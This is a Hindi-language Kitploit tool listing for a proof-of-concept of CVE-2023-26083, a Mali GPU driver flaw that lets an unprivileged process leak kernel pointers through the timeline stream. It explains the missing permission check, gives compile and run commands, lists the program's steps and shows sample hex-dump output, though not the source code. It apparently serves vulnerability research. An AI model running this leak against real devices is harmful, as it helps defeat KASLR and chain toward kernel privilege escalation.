Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-26083 — CVE-2023-26083-Mali-InfoLeak-PoC | Kitploit
उपकरण/GitHubGitHub/noverisp3/cve-2023-26083
भेद्यता विश्लेषणशोषणजानकारी एकत्र करनाहार्डवेयर और IoT सुरक्षालर्निंग और शिक्षाबाइनरी शोषण
GitHubnoverisp3/cve-2023-26083

CVE-2023-26083

CVE-2023-26083-Mali-InfoLeak-PoC

रिपॉजिटरी देखें
124 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-26083 – टाइमलाइन स्ट्रीम के माध्यम से Mali GPU कर्नेल एड्रेस लीक

यह रिपॉज़िटरी CVE-2023-26083 के लिए एक proof-of-concept (PoC) एक्सप्लॉइट है, जो Mali GPU ड्राइवर (Arm Mali GPU Kernel Driver) में एक कमजोरी है जो एक अविशेषाधिकार प्राप्त उपयोगकर्ता को टाइमलाइन स्ट्रीम (/dev/mali0) के माध्यम से कर्नेल पॉइंटर्स और संवेदनशील आंतरिक जानकारी लीक करने की अनुमति देती है।

कमजोरी का अवलोकन

Mali GPU ड्राइवर प्रोफाइलिंग और डीबगिंग के लिए एक “timeline stream” (tlstream) सुविधा प्रदान करता है। यह स्ट्रीम ऐसी घटनाओं को निर्यात करती है जिनमें रॉ कर्नेल पॉइंटर्स होते हैं (जैसे, kbase_context, kbase_gpu, kbase_lpu, एड्रेस स्पेस, एटम आदि के पते)। सामान्यतः, इस स्ट्रीम तक पहुँच के लिए BASE_CONTEXT_CREATE_FLAG_MONITOR फ़्लैग की आवश्यकता होनी चाहिए। हालाँकि, KBASE_IOCTL_TLSTREAM_ACQUIRE हैंडलर में अनुपलब्ध अनुमति जाँच के कारण, कोई भी प्रक्रिया (बिना मॉनिटर फ़्लैग के भी) टाइमलाइन स्ट्रीम के लिए फ़ाइल डिस्क्रिप्टर प्राप्त कर सकती है और कर्नेल मेमोरी एड्रेस पढ़ सकती है।

प्रभाव:

  • कर्नेल पॉइंटर्स लीक करना कर्नेल ASLR (KASLR) को विफल कर देता है।
  • अन्य कमजोरियों (जैसे, use-after-free, arbitrary write) के साथ मिलकर, यह विशेषाधिकार वृद्धि या मनमाने कर्नेल कोड निष्पादन का कारण बन सकता है।
  • यह लीक आंतरिक ड्राइवर स्थिति को उजागर करता है और फ़िंगरप्रिंटिंग के लिए उपयोग किया जा सकता है।

प्रभावित संस्करण

  • CVE-2023-26083 के फिक्स से पूर्व के Arm Mali GPU Kernel Driver संस्करण।

बिल्ड और रन

आवश्यक शर्तें

  • Mali GPU वाला एक डिवाइस (जैसे, Exynos, MediaTek, कुछ Rockchip SoCs)।
  • रूट एक्सेस आवश्यक नहीं है – PoC एक अविशेषाधिकार प्राप्त उपयोगकर्ता के रूप में कार्य करता है।
  • कर्नेल में Mali ड्राइवर बिल्ट-इन या मॉड्यूल के रूप में होना चाहिए (/dev/mali0 मौजूद होना चाहिए)।

संकलन

चूँकि कोड स्व-निहित और स्टैंडअलोन है, आप इसे मानक टूल्स का उपयोग करके आसानी से क्रॉस-कंपाइल कर सकते हैं।

1. Android के लिए (अनुशंसित)

ARM64 डिवाइसों के लिए संकलन हेतु Android NDK टूलचेन का उपयोग करें। विभिन्न Android संस्करणों पर डायनेमिक लिंकर संगतता समस्याओं से बचने के लिए स्टैटिक लिंकिंग का उपयोग करने की अत्यधिक अनुशंसा की जाती है:

aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c

2. ARM-आधारित Linux डेस्कटॉप/बोर्ड के लिए

यदि आप ARM डेवलपमेंट बोर्ड (जैसे Raspberry Pi या Odroid) पर परीक्षण कर रहे हैं जिसमें Mali GPU है और जो एक मानक Linux डिस्ट्रो चलाता है:

gcc -static -o mali_tlstream_leak mali_tlstream_leak.c

निष्पादन

./mali_tlstream_leak

प्रोग्राम निम्न कार्य करेगा:

  1. /dev/mali0 खोलें।
  2. संस्करण जाँच करें।
  3. फ़्लैग को BASE_CONTEXT_CREATE_FLAG_NONE पर सेट करें (कोई मॉनिटर विशेषाधिकार नहीं)।
  4. टाइमलाइन स्ट्रीम प्राप्त करें (कमजोर ioctl)।
  5. कुछ सेकंड के लिए टाइमलाइन पैकेट पढ़ें।
  6. कर्नेल पॉइंटर लीक को पार्स करें और प्रदर्शित करें (*** KERNEL के साथ चिह्नित)।

उदाहरण आउटपुट

नोट: यह Proof-of-Concept (PoC) केवल Samsung Galaxy J7 Prime पर परीक्षण किया गया था जो Android 8.1.0 (कर्नेल 3.18) और 1 अप्रैल, 2020 के सुरक्षा पैच स्तर के साथ चल रहा था।

on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)

Raw hex dump (3805 bytes):

0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54

Parsing packets:

Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0
टूल डाउनलोड करें